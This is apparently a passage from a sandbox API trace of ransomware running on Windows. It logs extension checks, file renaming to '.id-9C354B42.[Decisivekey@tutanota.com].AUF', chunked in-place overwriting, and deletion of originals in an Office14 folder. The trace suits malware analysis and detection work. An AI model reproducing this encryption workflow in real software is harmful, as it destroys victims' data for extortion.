lpString2=".DLL") returned -1 [0220.370] lstrlenW (lpString=".7z") returned 3 [0220.370] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.370] lstrlenW (lpString=".dbf") returned 4 [0220.370] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.370] lstrlenW (lpString=".1cd") returned 4 [0220.370] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.370] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEOLEDB.DLL") returned 68 [0220.370] lstrlenW (lpString=".jpg") returned 4 [0220.370] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.370] lstrcmpiW (lpString1=".DLL", lpString2=".AUF") returned 1 [0220.370] lstrlenW (lpString="ACEWDAT.DLL") returned 11 [0220.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0220.371] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=3050912) returned 1 [0220.371] CloseHandle (hObject=0x21c) returned 1 [0220.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll")) returned 0x20 [0220.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.371] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0220.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\acewdat.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0220.371] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0220.371] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.372] ReadFile (in: hFile=0x21c, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.383] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.383] ReadFile (in: hFile=0x21c, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.424] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0220.424] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.424] ReadFile (in: hFile=0x21c, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.464] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0220.464] WriteFile (in: hFile=0x21c, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0220.488] SetEndOfFile (hFile=0x21c) returned 1 [0220.752] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0220.752] WriteFile (in: hFile=0x21c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0220.753] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xf848a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0220.753] WriteFile (in: hFile=0x21c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0220.760] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x2a8da0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0220.760] WriteFile (in: hFile=0x21c, lpBuffer=0x4029088*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4029088*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0220.827] CloseHandle (hObject=0x21c) returned 1 [0220.827] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0220.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.827] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.827] lstrlenW (lpString=".doc") returned 4 [0220.827] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.827] lstrlenW (lpString=".docx") returned 5 [0220.827] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0220.827] lstrlenW (lpString=".pdf") returned 4 [0220.827] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.827] lstrlenW (lpString=".xls") returned 4 [0220.827] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.827] lstrlenW (lpString=".xlsx") returned 5 [0220.827] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0220.827] lstrlenW (lpString=".ppt") returned 4 [0220.828] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".zip") returned 4 [0220.828] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString=".rar") returned 4 [0220.828] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString=".bz2") returned 4 [0220.828] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.828] lstrlenW (lpString=".7z") returned 3 [0220.828] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".dbf") returned 4 [0220.828] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".1cd") returned 4 [0220.828] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".jpg") returned 4 [0220.828] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".doc") returned 4 [0220.828] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString=".docx") returned 5 [0220.828] lstrcmpiW (lpString1=".docx", lpString2="T.DLL") returned -1 [0220.828] lstrlenW (lpString=".pdf") returned 4 [0220.828] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString=".xls") returned 4 [0220.828] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString=".xlsx") returned 5 [0220.828] lstrcmpiW (lpString1=".xlsx", lpString2="T.DLL") returned -1 [0220.828] lstrlenW (lpString=".ppt") returned 4 [0220.828] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".zip") returned 4 [0220.828] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString=".rar") returned 4 [0220.828] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0220.828] lstrlenW (lpString=".bz2") returned 4 [0220.828] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0220.828] lstrlenW (lpString=".7z") returned 3 [0220.828] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".dbf") returned 4 [0220.828] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".1cd") returned 4 [0220.828] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0220.828] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\ACEWDAT.DLL") returned 67 [0220.828] lstrlenW (lpString=".jpg") returned 4 [0220.829] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0220.829] lstrcmpiW (lpString1=".dll", lpString2=".AUF") returned 1 [0220.829] lstrlenW (lpString="CsiSoap.dll") returned 11 [0220.829] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.843] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=1784192) returned 1 [0220.843] CloseHandle (hObject=0x1f4) returned 1 [0220.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll")) returned 0x20 [0220.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0220.843] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0220.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\csisoap.dll.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0220.844] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0x0) returned 1 [0220.844] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.844] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x36f0058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.868] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.868] ReadFile (in: hFile=0x1f4, lpBuffer=0x3730058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3730058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0220.973] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bdfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0220.973] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc2c | out: lpNewFilePointer=0x0) returned 1 [0220.973] ReadFile (in: hFile=0x1f4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bdfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2bdfc38*=0x40000, lpOverlapped=0x0) returned 1 [0221.071] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.071] WriteFile (in: hFile=0x1f4, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2bdfcb0, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0221.094] SetEndOfFile (hFile=0x1f4) returned 1 [0221.095] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.095] WriteFile (in: hFile=0x1f4, lpBuffer=0x4039090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4039090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.096] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x9132a, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.096] WriteFile (in: hFile=0x1f4, lpBuffer=0x4039090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4039090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.098] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x173980, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfc7c | out: lpNewFilePointer=0x0) returned 1 [0221.098] WriteFile (in: hFile=0x1f4, lpBuffer=0x4039090*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bdfc88, lpOverlapped=0x0 | out: lpBuffer=0x4039090*, lpNumberOfBytesWritten=0x2bdfc88*=0x40000, lpOverlapped=0x0) returned 1 [0221.171] CloseHandle (hObject=0x1f4) returned 1 [0221.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.171] lstrlenW (lpString=".doc") returned 4 [0221.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.171] lstrlenW (lpString=".docx") returned 5 [0221.171] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0221.171] lstrlenW (lpString=".pdf") returned 4 [0221.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.171] lstrlenW (lpString=".xls") returned 4 [0221.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.171] lstrlenW (lpString=".xlsx") returned 5 [0221.171] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0221.171] lstrlenW (lpString=".ppt") returned 4 [0221.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.171] lstrlenW (lpString=".zip") returned 4 [0221.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.171] lstrlenW (lpString=".rar") returned 4 [0221.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.171] lstrlenW (lpString=".bz2") returned 4 [0221.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.171] lstrlenW (lpString=".7z") returned 3 [0221.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".dbf") returned 4 [0221.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".1cd") returned 4 [0221.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".jpg") returned 4 [0221.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".doc") returned 4 [0221.172] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0221.172] lstrlenW (lpString=".docx") returned 5 [0221.172] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0221.172] lstrlenW (lpString=".pdf") returned 4 [0221.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0221.172] lstrlenW (lpString=".xls") returned 4 [0221.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0221.172] lstrlenW (lpString=".xlsx") returned 5 [0221.172] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0221.172] lstrlenW (lpString=".ppt") returned 4 [0221.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".zip") returned 4 [0221.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0221.172] lstrlenW (lpString=".rar") returned 4 [0221.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0221.172] lstrlenW (lpString=".bz2") returned 4 [0221.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0221.172] lstrlenW (lpString=".7z") returned 3 [0221.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".dbf") returned 4 [0221.172] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".1cd") returned 4 [0221.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0221.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\CsiSoap.dll") returned 67 [0221.172] lstrlenW (lpString=".jpg") returned 4 [0221.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0221.172] lstrcmpiW (lpString1=".EXE", lpString2=".AUF") returned 1 [0221.172] lstrlenW (lpString="FLTLDR.EXE") returned 10 [0221.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.359] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x2bdff1c | out: lpFileSize=0x2bdff1c*=157024) returned 1 [0221.359] CloseHandle (hObject=0x1f4) returned 1 [0221.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 0x20 [0221.359] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0221.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0221.359] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.359] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0221.360] GetLastError () returned 0x0 [0221.360] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x26560, lpOverlapped=0x0) returned 1 [0221.384] WriteFile (in: hFile=0x1fc, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0x26570, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0x26570, lpOverlapped=0x0) returned 1 [0221.386] ReadFile (in: hFile=0x1f4, lpBuffer=0x36f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfed4, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesRead=0x2bdfed4*=0x0, lpOverlapped=0x0) returned 1 [0221.386] WriteFile (in: hFile=0x1fc, lpBuffer=0x36f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2bdfc9c, lpOverlapped=0x0 | out: lpBuffer=0x36f0020*, lpNumberOfBytesWritten=0x2bdfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0221.386] SetEndOfFile (hFile=0x1fc) returned 1 [0221.386] CloseHandle (hObject=0x1fc) returned 1 [0221.386] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec8 | out: lpNewFilePointer=0x0) returned 1 [0221.386] SetEndOfFile (hFile=0x1f4) returned 1 [0221.388] CloseHandle (hObject=0x1f4) returned 1 [0221.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0221.388] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\fltldr.exe")) returned 1 [0221.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\FLTLDR.EXE") returned 66 [0221.388] lstrlenW (lpString=".doc") returned 4 [0221.388] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0221.388] lstrlenW (lpString=".docx") returned 5 [0221.388] lstrcmpiW (lpString1=".docx", lpString2="R.EXE") returned -1 [0221.388] lstrlenW (lpString=".pdf") returned 4 [0221.388] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0221.388] lstrlenW (lpString=".xls") returned 4 [0221.388] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0221.388] lstrlenW (lpString=".xlsx") returned 5 [0221.388] lstrcmpiW (lpString1=".xlsx", lpString2="R.EXE") returned -1 [0221.388] lstrlenW (lpString=".ppt") returned 4 [0221.388] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0221.388] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 